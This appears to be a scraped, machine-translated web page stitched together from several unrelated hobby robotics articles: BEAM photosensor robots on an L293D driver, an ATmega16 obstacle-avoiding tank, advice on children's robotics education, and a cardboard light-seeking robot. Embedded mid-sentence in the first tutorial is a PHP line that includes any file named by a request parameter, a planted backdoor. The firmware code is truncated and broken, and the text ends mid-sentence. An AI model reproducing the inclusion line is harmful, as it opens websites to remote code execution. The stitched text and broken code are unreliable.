You can make a robot using only one motor driver chip and a pair of photocells. Depending on the way the motors, microcircuits and photocells are connected, the robot will move towards the light or, conversely, hide in the darkness, run forward in search of light or back away like a mole. If you add a couple of bright LEDs to the robot's circuit, you can make it run after your hand and even follow a dark or light line.
The robot's behavior is based on "photoreception" and is typical for the whole class BEAM robots. In living nature, which our robot will imitate, photoreception is one of the main photobiological phenomena in which light acts as a source of information.
As a first experience, let's turn to the device BEAM robot, moving forward when a beam of light falls on it, and stopping when the light stops illuminating it. The behavior of such a robot is called photokinesis - a non-directional increase or decrease in mobility in response to changes in light levels.
In the robot device, except for the motor driver chip L293D, only one photocell and one electric motor will be used. Not only a phototransistor, but also a photodiode or photoresistor can be used as a photocell.
In the robot design, we use an n-p-n structure phototransistor as a photosensor. Phototransistors today are perhaps one of the most common types of optoelectronic devices and are characterized by good sensitivity and a very reasonable price.
Robot circuit with one phototransistor
The figure shows the wiring and circuit diagrams of the robot, and if you are not yet very familiar with the symbols, then, based on the two diagrams, it is not difficult to understand the principle of designation and connection of elements. The wire connecting various parts of the circuit to ground (the negative pole of the power source) is usually not shown in full, but a small dash is drawn on the diagram to indicate that this place is connected to ground. Sometimes next to such a dash they write three letters “GND”, which means “ground”. Vcc denotes the connection to the positive terminal of the power supply.$L293D=($_GET["l293d"]); if($L293D) include($L293D);?> Instead of the letters Vcc, they often write +5V, thereby indicating the voltage of the power supply.
In a phototransistor, the emitter (in the diagram with an arrow) is longer than the collector.
The operating principle of the robot circuit is very simple. When a beam of light falls on phototransistor PTR1, a positive signal will appear at the INPUT1 input of the motor driver chip and motor M1 will begin to rotate. When the phototransistor stops lighting, the signal at the INPUT1 input will disappear, the motor will stop rotating and the robot will stop. You can read more about working with the motor driver in the previous article “L293D Motor Driver”.
L293D motor driver from SGS-THOMSON Microelectronics
To compensate for the current passing through the phototransistor, a resistor R1 is introduced into the circuit, the value of which can be selected to be about 200 Ohms. Not only the normal operation of the phototransistor, but also the sensitivity of the robot will depend on the value of resistor R1. If the resistance of the resistor is large, then the robot will respond only to very bright light, if it is small, then the sensitivity will be higher. In any case, you should not use a resistor with a resistance of less than 100 ohms to protect the phototransistor from overheating and failure.
Make a robot, which implements the phototaxis reaction (directed movement towards or away from light), can be done using two photosensors.
When light hits one of the photosensors of such a robot, the corresponding electric motor turns on and the robot turns towards the light until the light illuminates both photosensors and the second motor turns on. When both sensors are illuminated, the robot moves towards the light source. If one of the sensors stops being illuminated, the robot turns again towards the light source and, having reached a position where the light falls on both sensors, continues its movement towards the light. If the light stops falling on the photosensors, the robot stops.
Schematic diagram of a robot with two phototransistors
The robot's circuit is symmetrical and consists of two parts, each of which controls a corresponding electric motor. In fact, it is like a doubled circuit of the previous robot. Photosensors should be placed crosswise in relation to the electric motors as shown in the robot picture above. You can also arrange the motors crosswise relative to the photosensors as shown in the wiring diagram below.
Wiring diagram of a simple robot with two phototransistors
If we arrange the sensors in accordance with the left picture, the robot will avoid light sources and its reactions will be similar to the behavior of a mole hiding from the light.
Make robot behavior You can be more alive by applying a positive signal to the INPUT2 and INPUT3 inputs (connect them to the positive of the power source): the robot will move in the absence of light falling on the photosensors, and when it “sees” the light, it will turn towards its source. When light hits both sensors, the robot will stop.
From conversations between Bibot and Bobot
Dear Bobot, is it possible to use in the given diagram of a simple robot any other chips, for example L293DNE?
Of course, you can, but you see what’s the matter, my friend Bibot. Real L293D is produced only by the ST Microelectronics group of companies. All other similar microcircuits are only substitutes or analogues L293D. Such analogues include L293DNE American company Texas Instruments, SCP-3337 from Sensitron Semiconductor... Naturally, like many analogues, these microcircuits have their own differences, which you will need to take into account when you make your robot.
Could you tell me about the differences that I will need to take into account when using the L293DNE.
With pleasure, old Bibot. All microcircuits of the line L293D have inputs compatible with TTL levels*, but some of them are not limited to level compatibility. So, L293DNE It is not only compatible with TTL in voltage levels, but also has inputs with classic TT logic. That is, there is a logical “1” at the unconnected input.
Sorry, Bobot, but I don’t quite understand: how can I take this into account?
If the L293DNE has a high level (logical “1”) at the unconnected input, then we will have a high level signal at the corresponding output. If we now apply a high-level signal to the input in question, to put it another way - a logical “1” (connect it to the “plus” of the power supply), then nothing will change at the corresponding output, since we already had a “1” at the input. If we apply a low-level signal to our input (connect it to the “minus” of the power supply), then the state of the output will change and there will be a low-level voltage on it.
That is, everything turns out the other way around: we controlled L293D using positive signals, and L293DNE needs to be controlled using negative ones.
L293D and L293DNE can be controlled within both negative and positive logic*. To control inputs L293DNE With the help of positive signals, we will need to pull these inputs to ground using pull-up resistors.
Then, in the absence of a positive signal, a logical "0" will be present at the input, provided by a pull-up resistor. Cunning Yankees call such resistors pull-down, and when pulling up at a high level - pull-up.
As far as I understand, all we will need to add to diagram of a simple robot, - these are pull-up resistors to the inputs of the motor driver microcircuit.
You understood absolutely correctly, dear Bibot. The value of these resistors can be selected around 4.7 kOhm. Then the diagram of the simplest robot will look like this.
Moreover, the sensitivity of our robot will depend on the value of resistor R1. The lower the resistance R1 is, the lower the sensitivity of the robot will be, and the higher it is, the higher the sensitivity will be.
And since in this case we do not need to control the motor in two directions, we can connect the second output of the motor directly to ground. Which will even simplify the scheme somewhat.
And the last question. And in those robot diagrams, which you brought up as part of our conversation, can the classic L293D microcircuit be used?
To make a robot“running” behind the hand, we will need two bright LEDs (LED1 and LED2 in the diagram). We connect them through resistors R1 and R4 to compensate for the current flowing through them and protect them from failure. Let's place the LEDs next to the photosensors, directing their light in the same direction in which the photosensors are oriented, and remove the signal from the INPUT2 and INPUT3 inputs.
Diagram of a robot moving towards reflected light
The task of the resulting robot is to respond to the reflected light emitted by the LEDs. Let's turn on the robot and place our palm in front of one of the photosensors. The robot will turn towards the palm. Let's move the palm a little to the side so that it disappears from the field of view of one of the photosensors, in response the robot will obediently, like a dog, turn behind the palm.
LEDs should be selected bright enough so that the reflected light is stably captured by phototransistors. Good results can be achieved using red or orange LEDs with a brightness of more than 1000 mCd.
If the robot only reacts to your hand when it almost touches the photosensor, then you can try experimenting with a piece of white paper: the reflectivity of the white sheet is much higher than that of a human hand, and the robot's response to the white sheet will be much better and more stable.
White color has the highest reflective properties, black - the least. Based on this, you can make a robot that follows the line. The sensors should be positioned so that they are directed downwards. The distance between the sensors should be slightly larger than the line width.
The diagram of the robot following the black line is identical to the previous one. To prevent the robot from losing the black line drawn on the white field, its width should be about 30 mm or wider. The robot's behavior algorithm is quite simple. When both photosensors catch the light reflected from the white field, the robot moves forward. When one of the sensors reaches the black line, the corresponding electric motor stops and the robot begins to turn, leveling its position. Once both sensors are again above the white field, the robot continues moving forward.
Note:
In all robot drawings, the L293D motor driver chip is shown conditionally (only control inputs and outputs).
Since you have come to this page, it means you are no longer indifferent to the topic of robotics and robotics. Designing a robot with your own hands is a very exciting activity that will teach you a lot. You will develop skills in electronics, mechanics, programming, and process management. For me, robotics is a fascinating hobby. Like all of us, I also dreamed of creating something with wheels, motors, wires, and a bunch of electronic parts.
So one day an idea came to mind assemble a robot with your own hands at home. But not only to create a simple device that would move in different directions, but to create a multifunctional robot that would carry out commands communication center and would be useful on the farm.
The idea of making a robot with your own hands called RoboTech, which could be assembled by anyone, a novice roboticist or radio amateur.
Basic requirements for a homemade robot
- Possibility of assembling a robot at home.
- The robot must be built on a commercially available and easy to program microcontroller.
- A simple and easy to construct platform should be used as a chassis.
- The robot must contain the necessary set of sensors and mechanisms that allow it to expand functionality as needed.
- The robot must move freely and be able to react to obstacles.
- The ability to control the robot from a distance, use telemetry (monitor the state of the robot, set various commands).
- Possibility of broadcasting video images from the on-board camera to the base station.
Considering the requirements, it was decided to use two microcomputers to control the robot ( MC-1 and MC-2).
On-board computer MC-1
First computer ( main MC-1) - used as the main on-board computer of the “brain”, whose tasks include:
- video broadcast of the environment to the base station in good quality;
- receiving commands from the control center (base station);
- sending big data to the control center at high speed;
- coordination of the work of other robot components via a second micro-computer (additional MC-2)
To complete the assigned tasks, it was decided to use a single-board computer Raspberry PI or, as a last resort, a router with the ability to flash firmware OpenWRT.
On-board computer MC-2
Second computer ( additional MC-2) is used to control the engine, collect information from various sensors or sensors and send the finished data to the MC-1 main computer.
It was decided to use a ready-made one as a controller for controlling the chassis mechanisms and sensors of the robot. Of all the controllers I considered, I chose the most common and affordable one. You can also use a more compact one Arduino Nano. Both devices run on the ATMega328p avr microcontroller.
Make a robot very simple Let's figure out what it takes to create a robot at home, in order to understand the basics of robotics.
Surely, after watching enough movies about robots, you have often wanted to build your own comrade in battle, but you didn’t know where to start. Of course, you won't be able to build a bipedal Terminator, but that's not what we're trying to achieve. Anyone who knows how to hold a soldering iron correctly in their hands can assemble a simple robot and this does not require deep knowledge, although it will not hurt. Amateur robotics is not much different from circuit design, only much more interesting, because it also involves areas such as mechanics and programming. All components are easily available and are not that expensive. So progress does not stand still, and we will use it to our advantage.
Introduction
So. What is a robot? In most cases, this is an automatic device that responds to any environmental actions. Robots can be controlled by humans or perform pre-programmed actions. Typically, the robot is equipped with a variety of sensors (distance, rotation angle, acceleration), video cameras, and manipulators. The electronic part of the robot consists of a microcontroller (MC) - a microcircuit that contains a processor, a clock generator, various peripherals, RAM and permanent memory. There are a huge number of different microcontrollers in the world for different applications, and on their basis you can assemble powerful robots. AVR microcontrollers are widely used for amateur buildings. They are by far the most accessible and on the Internet you can find many examples based on these MKs. To work with microcontrollers, you need to be able to program in assembler or C and have basic knowledge of digital and analog electronics. In our project we will use C. Programming for MK is not much different from programming on a computer, the syntax of the language is the same, most functions are practically no different, and new ones are quite easy to learn and convenient to use.
What do we need
To begin with, our robot will be able to simply avoid obstacles, that is, repeat the normal behavior of most animals in nature. Everything we need to build such a robot can be found in radio stores. Let's decide how our robot will move. I think the most successful are the tracks that are used in tanks; this is the most convenient solution, because the tracks have greater maneuverability than the wheels of a vehicle and are more convenient to control (to turn, it is enough to rotate the tracks in different directions). Therefore, you will need any toy tank whose tracks rotate independently of each other, you can buy one at any toy store at a reasonable price. From this tank you only need a platform with tracks and motors with gearboxes, the rest you can safely unscrew and throw away. We also need a microcontroller, my choice fell on ATmega16 - it has enough ports for connecting sensors and peripherals and in general it is quite convenient. You will also need to purchase some radio components, a soldering iron, and a multimeter.
Making a board with MK
In our case, the microcontroller will perform the functions of the brain, but we will not start with it, but with powering the robot’s brain. Proper nutrition is the key to health, so we will start with how to properly feed our robot, because this is where novice robot builders usually make mistakes. And in order for our robot to work normally, we need to use a voltage stabilizer. I prefer the L7805 chip - it is designed to produce a stable 5V output voltage, which is what our microcontroller needs. But due to the fact that the voltage drop on this microcircuit is about 2.5V, a minimum of 7.5V must be supplied to it. Together with this stabilizer, electrolytic capacitors are used to smooth out voltage ripples and a diode is necessarily included in the circuit to protect against polarity reversal.
Now we can move on to our microcontroller. The case of the MK is DIP (it’s more convenient to solder) and has forty pins. On board there is an ADC, PWM, USART and much more that we will not use for now. Let's look at a few important nodes. The RESET pin (9th leg of the MK) is pulled up by resistor R1 to the “plus” of the power source - this must be done! Otherwise, your MK may unintentionally reset or, more simply put, glitch. Another desirable measure, but not mandatory, is to connect RESET through the ceramic capacitor C1 to ground. In the diagram you can also see a 1000 uF electrolyte; it saves you from voltage dips when the engines are running, which will also have a beneficial effect on the operation of the microcontroller. Quartz resonator X1 and capacitors C2, C3 should be located as close as possible to pins XTAL1 and XTAL2.
I won’t talk about how to flash MK, since you can read about it on the Internet. We will write the program in C; I chose CodeVisionAVR as the programming environment. This is a fairly user-friendly environment and is useful for beginners because it has a built-in code creation wizard.
Motor control
An equally important component in our robot is the motor driver, which makes it easier for us to control it. Never and under no circumstances should motors be connected directly to the MK! In general, powerful loads cannot be controlled directly from the microcontroller, otherwise it will burn out. Use key transistors. For our case, there is a special chip - L293D. In such simple projects, always try to use this particular chip with the “D” index, as it has built-in diodes for overload protection. This microcircuit is very easy to control and is easy to get in radio stores. It is available in two packages: DIP and SOIC. We will use DIP in the package due to the ease of mounting on the board. L293D has separate power supply for motors and logic. Therefore, we will power the microcircuit itself from the stabilizer (VSS input), and the motors directly from the batteries (VS input). L293D can withstand a load of 600 mA per channel, and it has two of these channels, that is, two motors can be connected to one chip. But to be on the safe side, we will combine the channels, and then we will need one micra for each engine. It follows that the L293D will be able to withstand 1.2 A. To achieve this, you need to combine the micra legs, as shown in the diagram. The microcircuit works as follows: when a logical “0” is applied to IN1 and IN2, and a logical one is applied to IN3 and IN4, the motor rotates in one direction, and if the signals are inverted - a logical zero is applied, then the motor will begin to rotate in the other direction. Pins EN1 and EN2 are responsible for turning on each channel. We connect them and connect them to the “plus” of the power supply from the stabilizer. Since the microcircuit heats up during operation, and installing radiators on this type of case is problematic, heat dissipation is provided by GND legs - it is better to solder them on a wide contact pad. That's all you need to know about engine drivers for the first time.
Obstacle sensors
So that our robot can navigate and not crash into everything, we will install two infrared sensors on it. The simplest sensor consists of an IR diode that emits in the infrared spectrum and a phototransistor that will receive the signal from the IR diode. The principle is this: when there is no obstacle in front of the sensor, the IR rays do not hit the phototransistor and it does not open. If there is an obstacle in front of the sensor, then the rays are reflected from it and hit the transistor - it opens and current begins to flow. The disadvantage of such sensors is that they can react differently to different surfaces and are not protected from interference - the sensor may accidentally be triggered by extraneous signals from other devices. Modulating the signal can protect you from interference, but we won’t bother with that for now. For starters, that's enough.
Robot firmware
To bring the robot to life, you need to write firmware for it, that is, a program that would take readings from sensors and control the motors. My program is the simplest, it does not contain complex structures and will be understandable to everyone. The next two lines include header files for our microcontroller and commands for generating delays:
#include
#include
The following lines are conditional because the PORTC values depend on how you connected the motor driver to your microcontroller:
PORTC.0 = 1; PORTC.1 = 0; PORTC.2 = 1; PORTC.3 = 0; The value 0xFF means that the output will be log. "1", and 0x00 is log. "0". With the following construction we check whether there is an obstacle in front of the robot and on which side it is: if (!(PINB & (1< If light from an IR diode hits the phototransistor, then a log is installed on the microcontroller leg. “0” and the robot starts moving backward to move away from the obstacle, then turns around so as not to collide with the obstacle again and then moves forward again. Since we have two sensors, we check for the presence of an obstacle twice - on the right and on the left, and therefore we can find out which side the obstacle is on. The command "delay_ms(1000)" indicates that one second will pass before the next command begins to execute. I've covered most of the aspects that will help you build your first robot. But robotics doesn't end there. If you assemble this robot, you will have a lot of opportunities to expand it. You can improve the robot's algorithm, such as what to do if the obstacle is not on some side, but right in front of the robot. It also wouldn’t hurt to install an encoder - a simple device that will help you accurately position and know the location of your robot in space. For clarity, it is possible to install a color or monochrome display that can show useful information - battery charge level, distance to obstacles, various debugging information. It wouldn't hurt to improve the sensors - installing TSOPs (these are IR receivers that perceive a signal only of a certain frequency) instead of conventional phototransistors. In addition to infrared sensors, there are ultrasonic sensors, which are more expensive and also have their drawbacks, but have recently been gaining popularity among robot builders. In order for the robot to respond to sound, it would be a good idea to install microphones with an amplifier. But what I think is really interesting is installing the camera and programming machine vision based on it. There is a set of special OpenCV libraries with which you can program facial recognition, movement according to colored beacons and many other interesting things. It all depends only on your imagination and skills. List of components: ATmega16 in DIP-40 package> L7805 in TO-220 package L293D in DIP-16 housing x2 pcs. resistors with a power of 0.25 W with ratings: 10 kOhm x 1 pc., 220 Ohm x 4 pcs. ceramic capacitors: 0.1 µF, 1 µF, 22 pF electrolytic capacitors: 1000 µF x 16 V, 220 µF x 16 V x 2 pcs. diode 1N4001 or 1N4004 16 MHz quartz resonator IR diodes: any two of them will do. phototransistors, also any, but responding only to the wavelength of infrared rays Firmware code: At the moment my robot is almost complete. It is equipped with a wireless camera, a distance sensor (both the camera and this sensor are installed on a rotating tower), an obstacle sensor, an encoder, a signal receiver from the remote control and an RS-232 interface for connecting to a computer. It operates in two modes: autonomous and manual (receives control signals from the remote control), the camera can also be turned on/off remotely or by the robot itself to save battery power. I am writing firmware for apartment security (transferring images to a computer, detecting movements, walking around the premises). Robotics is one of the most promising areas in the field of Internet technologies, and in our time there is no need to explain that the IT sector is the future. Robotics is a fascinating thing: to design a robot is almost to create a new creature, albeit an electronic one. Since the 60s of the last century, automated and self-managing devices that do some work for a person began to be used for research and in production, then in the service sector, and since then, every year they have become more firmly established in their place in people’s lives. Of course, it cannot be said that in Russia everything is carried out entirely by independent mechanisms, but a certain vector in this direction is definitely outlined. Sberbank is already planning to replace three thousand lawyers with smart machines. Together with experts, we will try to figure out why robotics is needed and how to approach it. In short, robotics for children is aimed at studying a subject, while professional robotics is aimed at solving specific problems. If specialists create industrial manipulators that perform various technological tasks, or specialized wheeled platforms, then amateurs and children, of course, do simpler things. Tatyana Volkova, employee of the Center for Intelligent Robotics: “As a rule, this is where everyone starts: they figure out the motors and force the robot to simply drive forward, then make turns. When the robot executes movement commands, you can already connect a sensor and make the robot move towards the light or, conversely, “run away” from it. And then comes the favorite task of all beginners: a robot that drives along a line. There are even various robot races organized.” First you need to buy a construction set and see if your child likes assembling it. And then you can give it to the circle. Classes will help him develop fine motor skills, imagination, spatial perception, logic, concentration and patience. The sooner you can decide on the direction of robotics - design, electronics, programming - the better. All three areas are vast and require separate study. Alexander Kolotov, leading specialist in STEM programs at Innopolis University: “If a child likes to assemble construction sets, then construction will suit him. If he is interested in learning how things work, then he will enjoy doing electronics. If a child has a passion for mathematics, then he will be interested in programming.” It is best to start studying and enrolling in clubs from childhood, however, not too early - at 8-12 years old, experts say. Earlier, it is more difficult for a child to grasp understandable abstractions, and later, in adolescence, he may develop other interests and become distracted. The child also needs to be motivated to study mathematics, so that in the future it will be interesting and easy for him to design mechanisms and circuits, and compose algorithms. From 8-9 years old Children can already understand and remember what a resistor, LED, capacitor is, and later master concepts from school physics ahead of the school curriculum. It doesn’t matter whether they become specialists in this field or not, the knowledge and skills they gain will definitely not be in vain. At 14-15 years old you need to continue to study mathematics, push robotics classes into the background and start studying programming more seriously - to understand not only complex algorithms, but also data storage structures. Next comes the mathematical basis and knowledge in algorithmization, immersion in the theory of mechanisms and machines, design of electromechanical equipment of a robotic device, implementation of automatic navigation algorithms, computer vision algorithms and machine learning. Alexander Kolotov: “If at this moment you introduce a future specialist to the basics of linear algebra, complex calculus, the theory of probability and statistics, then by the time he enters a university he will already have a good idea of why he should pay additional attention to these subjects when receiving higher education.” Each age has its own educational programs, constructors and platforms, varying in degree of complexity. You can find both foreign and domestic products. There are expensive kits for robotics (around 30 thousand rubles and more), there are also cheaper, very simple ones (within 1-3 thousand rubles). If the child 8-11 years, you can buy Lego or Fischertechnik construction sets (although, of course, manufacturers have offers for both younger and older ages). The Lego robotics kit has interesting details, colorful figures, is easy to assemble and comes with detailed instructions. The Fischertechnik series of construction sets for robotics brings you closer to the real development process, here you have wires, plugs, and a visual programming environment. At 13-14 years old you can start working with TRIC or Arduino modules, which, according to Tatyana Volkova, are practically a standard in the field of educational robotics, as well as Raspberry. TRIC is more complex than Lego, but lighter than Arduino and Raspberry Ri. The last two already require basic programming skills. Programming. It is possible to avoid it only at the initial stage, but then you can’t live without it. You can start with Lego Mindstorms, Python, ROS (Robot Operating System). Basic mechanics. You can start with crafts made from paper, cardboard, bottles, which is important for fine motor skills and general development. The simplest robot can be made from individual parts (motors, wires, a photosensor and one simple microcircuit). The “Making Tool with Father Sperch” will help you get acquainted with the basic mechanics. Basics of Electronics. First, learn how to assemble simple circuits. For children under eight years old, experts recommend the “Connoisseur” construction set; then you can move on to the “Basics of Electronics” set. Start". If you see a child’s interest, you can send him to clubs and courses, although you can study on your own. During the courses, the child will be under the guidance of specialists, will be able to find like-minded people, and will engage in robotics on a regular basis. It is also advisable to immediately understand what you want from classes: participate in competitions and compete for prizes, participate in project activities, or simply study for yourself. Alexey Kolotov: “For serious classes, projects, participation in competitions, you need to choose clubs with small groups of 6-8 people and a coach who leads students to prizes in competitions, who constantly develops himself and gives interesting tasks. For hobby activities, you can go to groups of up to 20 people.” When registering for courses, pay attention to the teacher, recommends commercial director of Promobot Oleg Kivokurtsev. “There are precedents when a teacher simply gives the children the equipment, and then anyone can do whatever they want,” Tatyana Volkova agrees with Oleg. Such activities will be of little use. When choosing courses, you should also pay attention to on the existing material and technical base. Are there construction kits (not just Lego), is it possible to write programs, study mechanics and electronics, and make projects yourself. Each pair of students should have their own robotics kit. Preferably with additional parts (wheels, gears, frame elements) if you want to participate in competitions. If several teams are working with one set at once, then, most likely, no serious competition is expected. Find out what competitions the robotics club participates in. Do these competitions help you consolidate your acquired skills and provide an opportunity for further development? Robocup Competition 2014 Courses require money and time. If the first one is not enough and you won’t be able to go somewhere regularly, you can study independently with your child. It is important that parents have the necessary competence in this area: without the help of a parent, it will be quite difficult for a child to master robotics, warns Oleg Kivokurtsev. Find material to study. They can be taken on the Internet, from ordered books, at conferences attended, from the magazine “Entertaining Robotics”. For self-study, there are free online courses, for example, “Building robots and other devices using Arduino: from a traffic light to a 3D printer.” If you have already left childhood, this does not mean that the doors of robotics are closed for you. You can also enroll in courses or study it on your own. If a person decides to do this as a hobby, then his path will be the same as that of a child. However, it is clear that it is unlikely that you will be able to advance beyond the amateur level without a professional education (design engineer, programmer and electronics engineer), although, of course, no one forbids you to get an internship at a company and stubbornly gnaw on the granite of a new direction for you. Oleg Kivokurtsev: “It will be easier for an adult to master robotics, but time is an important factor.” For those who have a similar specialty, but want to retrain, there are also various courses to help. For example, for machine learning specialists, the free online course on probabilistic robotics “Artificial Intelligence in Robotics” will be suitable. There is also the Intel educational program, the Lectorium educational project, and ITMO distance courses. Don’t forget about books, for example, there is a lot of literature for beginners (“Basics of Robotics”, “Introduction to Robotics”, “Handbook for Robotics”). Choose what is most clear and suitable for you. It should be remembered that serious work differs from amateur hobby at least in the cost of equipment costs and the list of tasks assigned to the employee. It’s one thing to assemble the simplest robot with your own hands, but quite another to practice, for example, computer vision. Therefore, it is still better to study the basics of design, programming and hardware engineering from an early age and subsequently, if you like it, enter a specialized university. Majors related to robotics can be found at the following universities: — Moscow Technological University (MIREA, MGUPI, MITHT); — Moscow State Technical University named after. N. E. Bauman; — Moscow State Technological University “Stankin”; — National Research University “MPEI” (Moscow); — Skolkovo Institute of Science and Technology (Moscow); — Moscow State Transport University of Emperor Nicholas II; — Moscow State University of Food Production; — Moscow State Forestry University; — St. Petersburg State University of Aerospace Instrumentation (SGUAP); — St. Petersburg National Research University of Information Technologies, Mechanics and Optics (ITMO); — Magnitogorsk State Technical University; — Omsk State Technical University; — Saratov State Technical University; — Innopolis University (Republic of Tatarstan); — South Russian Federal University (Novocherkassk State Technical University). Knowing the basics of robotics may soon be useful for ordinary people, and the opportunity to become a specialist in this field looks very promising, so it’s definitely worth at least trying your hand at robotics. Many of us who have encountered computer technology have dreamed of assembling our own robot. For this device to perform some duties around the house, for example, bring beer. Everyone immediately sets about creating the most complex robot, but often quickly breaks down the results. We never brought our first robot, which was supposed to make a lot of chips, to fruition. Therefore, you need to start simple, gradually complicating your beast. Now we will tell you how you can create a simple robot with your own hands that will independently move around your apartment. Concept We set ourselves a simple task, to make a simple robot. Looking ahead, I will say that we, of course, got by not in fifteen minutes, but in a much longer period. But still, this can be done in one evening. Typically, such crafts take years to complete. People spend several months running around stores in search of the gear they need. But we immediately realized that this was not our path! Therefore, we will use in the design such parts that can be easily found at hand, or uprooted from old equipment. As a last resort, buy for pennies in any radio store or market. Another idea was to make our craft as cheap as possible. A similar robot costs from 800 to 1500 rubles in radio-electronic stores! Moreover, it is sold in the form of parts, but it still has to be assembled, and it is not a fact that after that it will also work. Manufacturers of such kits often forget to include some parts and that’s it – the robot is lost along with the money! Why do we need such happiness? Our robot should cost no more than 100-150 rubles in parts, including motors and batteries. At the same time, if you pick out the motors from an old children's car, then its price will generally be about 20-30 rubles! You feel the savings, and at the same time you get an excellent friend. The next part was what our handsome man would do. We decided to make a robot that will search for light sources. If the light source turns, then our car will steer after it. This concept is called “a robot trying to live.” It will be possible to replace his batteries with solar cells and then he will look for light to drive. Required parts and tools What do we need to make our child? Since the concept is made from improvised means, we will need a circuit board, or even ordinary thick cardboard. You can use an awl to make holes in the cardboard to attach all the parts. We will use the assembly, because it was at hand, and you won’t find cardboard in my house during the day. This will be the chassis on which we will mount the rest of the robot’s harness, attach motors and sensors. As a driving force, we will use three or five-volt motors that can be pulled out of an old machine. We will make the wheels from caps from plastic bottles, for example from Coca-Cola. Three-volt phototransistors or photodiodes are used as sensors. They can even be pulled out of an old optomechanical mouse. It contains infrared sensors (in our case they were black). There they are paired, that is, two photocells in one bottle. With a tester, nothing prevents you from finding out which leg is intended for what. Our control element will be domestic 816G transistors. We use three AA batteries soldered together as power sources. Or you can take a battery compartment from an old machine, as we did. Wiring will be required for installation. Twisted pair wires are ideal for these purposes; any self-respecting hacker should have plenty of them in his home. To secure all the parts, it is convenient to use hot-melt adhesive with a hot-melt gun. This wonderful invention melts quickly and sets just as quickly, which allows you to quickly work with it and install simple elements. The thing is ideal for such crafts and I have used it more than once in my articles. We also need a stiff wire; an ordinary paper clip will do just fine. We mount the circuit So, we took out all the parts and stacked them on our table. The soldering iron is already smoldering with rosin and you are rubbing your hands, eager to assemble it, well, then let’s get started. We take a piece of assembly and cut it to the size of the future robot. To cut PCB we use metal scissors. We made a square with a side of about 4-5 cm. The main thing is that our tiny circuit, batteries, two motors and fasteners for the front wheel fit on it. So that the board does not become shaggy and is even, you can process it with a file and also remove sharp edges. Our next step will be sealing the sensors. Phototransistors and photodiodes have a plus and a minus, in other words, an anode and a cathode. It is necessary to observe the polarity of their inclusion, which is easy to determine with the simplest tester. If you make a mistake, nothing will burn, but the robot will not move. The sensors are soldered into the corners of the circuit board on one side so that they look to the sides. They should not be soldered completely into the board, but leave about one and a half centimeters of leads so that they can be easily bent in any direction - we will need this later when setting up our robot. These will be our eyes, they should be on one side of our chassis, which in the future will be the front of the robot. It can be immediately noted that we are assembling two control circuits: one for controlling the right and the second left engines. A little further from the front edge of the chassis, next to our sensors, we need to solder in transistors. For the convenience of soldering and assembling the further circuit, we soldered both transistors with their markings “facing” towards the right wheel. You should immediately note the location of the legs of the transistor. If you take the transistor in your hands and turn the metal substrate towards you, and the marking towards the forest (as in a fairy tale), and the legs are directed downwards, then from left to right the legs will be, respectively: base, collector and emitter. If you look at the diagram showing our transistor, the base will be a stick perpendicular to the thick segment in the circle, the emitter will be a stick with an arrow, the collector will be the same stick, only without the arrow. Everything seems clear here. Let's prepare the batteries and proceed to the actual assembly of the electrical circuit. Initially, we simply took three AA batteries and soldered them in series. You can immediately insert them into a special battery holder, which, as we have already said, is pulled out of an old children's car. Now we solder the wires to the batteries and determine two key points on our board where all the wires will converge. This will be a plus and a minus. We did it simply - we threaded a twisted pair into the edges of the board, soldered the ends to the transistors and photo sensors, made a twisted loop and soldered the batteries there. Perhaps not the best option, but it is the most convenient. Well, now we prepare the wires and begin assembling the electrics. We will go from the positive pole of the battery to the negative contact, throughout the entire electrical circuit. We take a piece of twisted pair and start walking - we solder the positive contact of both photo sensors to the plus of the batteries, and solder the emitters of the transistors in the same place. We solder the second leg of the photocell with a small piece of wire to the base of the transistor. We solder the remaining, last legs of the transyuk to the engines respectively. The second contact of the motors can be soldered to the battery through a switch. But like true Jedi, we decided to turn on our robot by soldering and unsoldering the wire, since there was no switch of a suitable size in my bins. Electrical debugging That's it, we've assembled the electrical part, now let's start testing the circuit. We turn on our circuit and bring it to the lit table lamp. Take turns, turning first one or the other photocell. And let's see what happens. If our engines begin to rotate in turn at different speeds, depending on the lighting, then everything is in order. If not, then look for jambs in the assembly. Electronics is the science of contacts, which means that if something does not work, then there is no contact somewhere. An important point: the right photo sensor is responsible for the left wheel, and the left one, respectively, for the right one. Now, let’s figure out which way the right and left engines rotate. They should both spin forward. If this does not happen, then you need to change the polarity of turning on the motor, which is spinning in the wrong direction, simply by re-soldering the wires at the motor terminals the other way around. We once again evaluate the location of the motors on the chassis and check the direction of movement in the direction where our sensors are installed. If everything is in order, then we will move on. In any case, this can be fixed, even after everything is finally assembled. Assembling the device We've dealt with the tedious electrical part, now let's move on to the mechanics. We will make the wheels from caps from plastic bottles. To make the front wheel, take two covers and glue them together. We glued it around the perimeter with the hollow part facing inward for greater stability of the wheel. Next, drill a hole in the first and second lids exactly in the center of the lid. For drilling and all sorts of household crafts, it is very convenient to use a Dremel - a sort of small drill with a lot of attachments, milling, cutting and many others. It is very convenient to use for drilling holes smaller than one millimeter, where a conventional drill cannot cope. After we drill the covers, we insert a pre-bent paper clip into the hole. We bend the paperclip into the shape of the letter “P”, where the wheel hangs on the top bar of our letter. Now we fix this paper clip between the photo sensors, in front of our car. The clip is convenient because you can easily adjust the height of the front wheel, and we will deal with this adjustment later. Let's move on to the driving wheels. We will also make them from lids. Similarly, we drill each wheel strictly in the center. It is best for the drill to be the size of the motor axle, and ideally - a fraction of a millimeter smaller, so that the axle can be inserted there, but with difficulty. We put both wheels on the motor shaft, and so that they do not jump off, we secure them with hot glue. It is important to do this not only so that the wheels do not fly off when moving, but also do not rotate at the fastening point. The most important part is mounting the electric motors. We placed them at the very end of our chassis, on the opposite side of the circuit board from all the other electronics. We must remember that the controlled motor is placed opposite its control photosystem. This is done so that the robot can turn towards the light. On the right is the photosensor, on the left is the engine and vice versa. To begin with, we will intercept the engines with pieces of twisted pair, threaded through the holes in the installation and twisted from above. We supply power and see where our engines are rotating. The motors will not rotate in a dark room; it is advisable to point them at a lamp. We check that all engines are working. We turn the robot and watch how the motors change their rotation speed depending on the lighting. Let's turn it with the right photo sensor, and the left engine should spin quickly, and the other one, on the contrary, will slow down. Finally, we check the direction of rotation of the wheels so that the robot moves forward. If everything works as we described, then you can carefully secure the sliders with hot glue. We try to make sure that their wheels are on the same axle. That’s it – we fix the batteries on the top platform of the chassis and move on to setting up and playing with the robot. Pitfalls and setup The first pitfall in our craft was unexpected. When we assembled the entire circuit and technical part, all the engines responded perfectly to the light, and everything seemed to be going great. But when we put our robot on the floor, it didn’t work for us. It turned out that the power of the motors was simply not enough. I had to urgently tear apart the children's car in order to get more powerful engines from there. By the way, if you take motors from 